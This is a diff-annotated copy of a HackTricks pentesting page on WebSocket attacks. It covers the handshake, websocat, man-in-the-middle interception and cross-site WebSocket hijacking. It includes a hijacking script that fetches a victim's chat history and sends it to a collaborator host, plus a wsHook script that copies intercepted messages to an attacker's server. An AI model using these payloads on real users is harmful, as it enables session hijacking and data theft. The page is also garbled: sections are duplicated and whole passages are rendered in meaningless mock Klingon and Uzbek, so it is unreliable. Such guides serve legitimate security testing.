hacktricks/pentesting-web/websocket-attacks.md

216 lines
13 KiB
Markdown
Raw Permalink Normal View History

# WebSocket Attacks
2022-04-28 16:01:33 +00:00
<details>
2023-12-31 01:25:17 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2023-12-31 01:25:17 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
2023-03-15 09:29:52 +00:00
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2023-12-31 01:25:17 +00:00
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-09 07:14:36 +00:00
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2023-12-31 01:25:17 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2022-05-01 13:25:53 +00:00
## What are WebSockets
2024-02-06 03:10:38 +00:00
WebSocket connections are established through an initial **HTTP** handshake and are designed to be **long-lived**, allowing for bidirectional messaging at any time without the need for a transactional system. This makes WebSockets particularly advantageous for applications requiring **low latency or server-initiated communication**, such as live financial data streams.
2024-02-06 03:10:38 +00:00
### Establishment of WebSocket Connections
2024-02-06 03:10:38 +00:00
A detailed explanation on establishing WebSocket connections can be accessed [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
2024-02-06 03:10:38 +00:00
The `wss` protocol signifies a WebSocket connection secured with **TLS**, whereas `ws` indicates an **unsecured** connection.
2024-02-06 03:10:38 +00:00
During the connection establishment, a handshake is performed between the browser and server over HTTP. The handshake process involves the browser sending a request and the server responding, as illustrated in the following examples:
Browser sends a handshake request:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
2024-02-06 03:10:38 +00:00
Server's handshake response:
2024-02-10 17:52:19 +00:00
```
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
```
**Translation (Klingon):**
```
HTTP/1.1 101 Protokolmeyvam vItlhutlh
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
```
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
2024-02-10 17:52:19 +00:00
**WebSocket Handshake-ning Key Points:**
2024-02-10 17:52:19 +00:00
- `Connection` je `Upgrade` headerlar WebSocket handshake-ni boshlashini bildiradi.
- `Sec-WebSocket-Version` header WebSocket protokolining istalgan versiyasini, odatda `13` ni ko'rsatadi.
- `Sec-WebSocket-Key` headerda Base64 kodlangan tasodifiy qiymat yuboriladi, bu har bir handshake-ni unikal qiladi va keshlovchi proksilarni muammo yaratishni oldini olishga yordam beradi. Ushbu qiymat autentifikatsiya uchun emas, balki javobning noto'g'ri sozlashga ega server yoki kesh tomonidan generatsiyalanganligini tasdiqlaydi.
- Serverning javobidagi `Sec-WebSocket-Accept` header `Sec-WebSocket-Key` ning hash qiymatidir, bu serverning WebSocket ulanishni ochishni istaganligini tasdiqlaydi.
2024-02-10 17:52:19 +00:00
Ushbu xususiyatlar handshake jarayonini xavfsiz va ishonchli qilishda yordam beradi, shuningdek samarali vaqti bilan bir xil aloqani ta'minlaydi.
2024-02-10 17:52:19 +00:00
### Linux konsoli
2021-02-22 15:05:55 +00:00
2024-02-10 17:52:19 +00:00
`websocat` ni ishlatib, websocket bilan to'g'ridan-to'g'ri ulanishni o'rnatishingiz mumkin.
2021-02-22 16:59:36 +00:00
```bash
2021-02-22 15:05:55 +00:00
websocat --insecure wss://10.10.10.10:8000 -v
```
2021-02-22 16:59:36 +00:00
Or to create a websocat server:
2024-02-10 17:52:19 +00:00
**Klingon Translation:**
**ghItlhweS 'ej websocat Server Qap:**
2021-02-22 16:59:36 +00:00
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket connections
2021-02-22 16:59:36 +00:00
If you find that clients are connected to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)to perform a MitM attack between the client and the server.\
Once the client is trying to connect to you can then use:
2021-02-22 16:59:36 +00:00
2024-02-10 17:52:19 +00:00
### MitM websocket connections
If you find that clients are connected to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)to perform a MitM attack between the client and the server.\
Once the client is trying to connect to you can then use:
2021-02-22 16:59:36 +00:00
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets enumeration
2021-12-30 10:14:05 +00:00
2024-02-10 17:52:19 +00:00
**tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **to discover, fingerprint and search for known** **vulnerabilities** in websockets automatically.
2021-12-30 10:14:05 +00:00
### Websocket Debug tools
* **Burp Suite** supports MitM websockets communication in a very similar way it does it for regular HTTP communication.
2024-02-10 17:52:19 +00:00
* The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** will allow you to manage better Websocket communications in Burp by getting the **history**, setting **interception rules**, using **match and replace** rules, using **Intruder** and **AutoRepeater.**
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**", this tool, written in Node.js, provides a user interface to **capture, intercept, send custom** messages and view all WebSocket and Socket.IO communications between the client and server.
* [**wsrepl**](https://github.com/doyensec/wsrepl) is an **interactive websocket REPL** designed specifically for penetration testing. It provides an interface for observing **incoming websocket messages and sending new ones**, with an easy-to-use framework for **automating** this communication.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) it's a **web to communicate** with other webs using **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) among other types of communications/protocols, it provides a **web to communicate** with other webs using **websockets.**
## Websocket Lab
In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) you have a code to launch a web using websockets and in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) you can find an explanation.
2022-05-01 13:25:53 +00:00
## Cross-site WebSocket hijacking (CSWSH)
2024-02-10 17:52:19 +00:00
**Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, is identified as a specific case of **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via **HTTP cookies** without **CSRF tokens** or similar security measures.
2024-02-06 03:10:38 +00:00
Attackers can exploit this by hosting a **malicious web page** that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism.
2022-05-01 13:25:53 +00:00
### Simple Attack
2022-04-05 22:24:52 +00:00
Note that when **establishing** a **websocket** connection the **cookie** is **sent** to the server. The **server** might be using it to **relate** each **specific** **user** with his **websocket** **session based on the sent cookie**.
2024-02-10 17:52:19 +00:00
Then, if for **example** the **websocket** **server** **sends back the history of the conversation** of a user if a msg with "**READY"** is sent, then a **simple XSS** establishing the connection (the **cookie** will be **sent** **automatically** to authorise the victim user) **sending** "**READY**" will be able to **retrieve** the history of the **conversation**.
2021-02-22 16:59:36 +00:00
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
2024-02-10 17:52:19 +00:00
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
2024-02-10 17:52:19 +00:00
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
2023-03-15 09:29:52 +00:00
### Cross Origin + Cookie with a different subdomain
In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) the attacker managed to **execute arbitrary Javascript in a subdomain** of the domain where the web socket communication was occurring. Because it was a **subdomain**, the **cookie** was being **sent**, and because the **Websocket didn't check the Origin properly**, it was possible to communicate with it and **steal tokens from it**.
2022-05-01 13:25:53 +00:00
### Stealing data from user
2021-02-22 16:59:36 +00:00
Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code:
2021-02-22 16:59:36 +00:00
2024-02-10 17:52:19 +00:00
---
### Cross Origin + Cookie with a different subdomain
In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) the attacker managed to **execute arbitrary Javascript in a subdomain** of the domain where the web socket communication was occurring. Because it was a **subdomain**, the **cookie** was being **sent**, and because the **Websocket didn't check the Origin properly**, it was possible to communicate with it and **steal tokens from it**.
### Stealing data from user
Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code:
2021-02-22 16:59:36 +00:00
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
2024-02-10 17:52:19 +00:00
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
2021-02-22 16:59:36 +00:00
}
wsHook.after = function(messageEvent, url, wsObject) {
2024-02-10 17:52:19 +00:00
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
2022-04-05 22:24:52 +00:00
}
2021-02-22 16:59:36 +00:00
```
2024-02-10 17:52:19 +00:00
Daq download 'wsHook.js' file from [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) 'ej **web qawHaqDaq jImej**.\
web ghaH 'ej 'oH user connect 'e' vItlhutlh, 'ej websocket vItlhutlh je messages ngeHbe'lu'chugh.
2021-02-22 16:59:36 +00:00
```javascript
sudo python3 -m http.server 80
```
## Race Conditions
2024-02-10 17:52:19 +00:00
WebSocketsDaq Race Conditions vItlhutlh. [ghItlh vItlhutlh](race-condition.md#rc-in-websockets) vItlhutlh.
2024-02-10 17:52:19 +00:00
## QaD vulnerabilities
2024-02-10 17:52:19 +00:00
Web Sockets vItlhutlh **server side teywI'wI' je client side teywI'wI'** vItlhutlh, **server je client teywI'wI' vItlhutlh** **XSS, SQLi je web vuln common vItlhutlh** **websocket input user vIlo'**.
2021-02-23 13:55:20 +00:00
2022-06-19 14:00:50 +00:00
## **WebSocket Smuggling**
2024-02-10 17:52:19 +00:00
vItlhutlh vItlhutlh **reverse proxies restrictions** **bypass** **websocket communication vItlhutlh** **(vaj vItlhutlh)**. vItlhutlh vItlhutlh **hidden endpoints**. vItlhutlh vItlhutlh vItlhutlh:
2022-06-19 14:00:50 +00:00
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
2022-05-01 13:25:53 +00:00
## References
2021-02-23 13:55:20 +00:00
2024-02-06 03:10:38 +00:00
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
2020-07-29 09:22:22 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-12-31 01:25:17 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2023-12-31 01:25:17 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
2023-03-15 09:29:52 +00:00
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2023-12-31 01:25:17 +00:00
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-09 07:14:36 +00:00
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2023-12-31 01:25:17 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>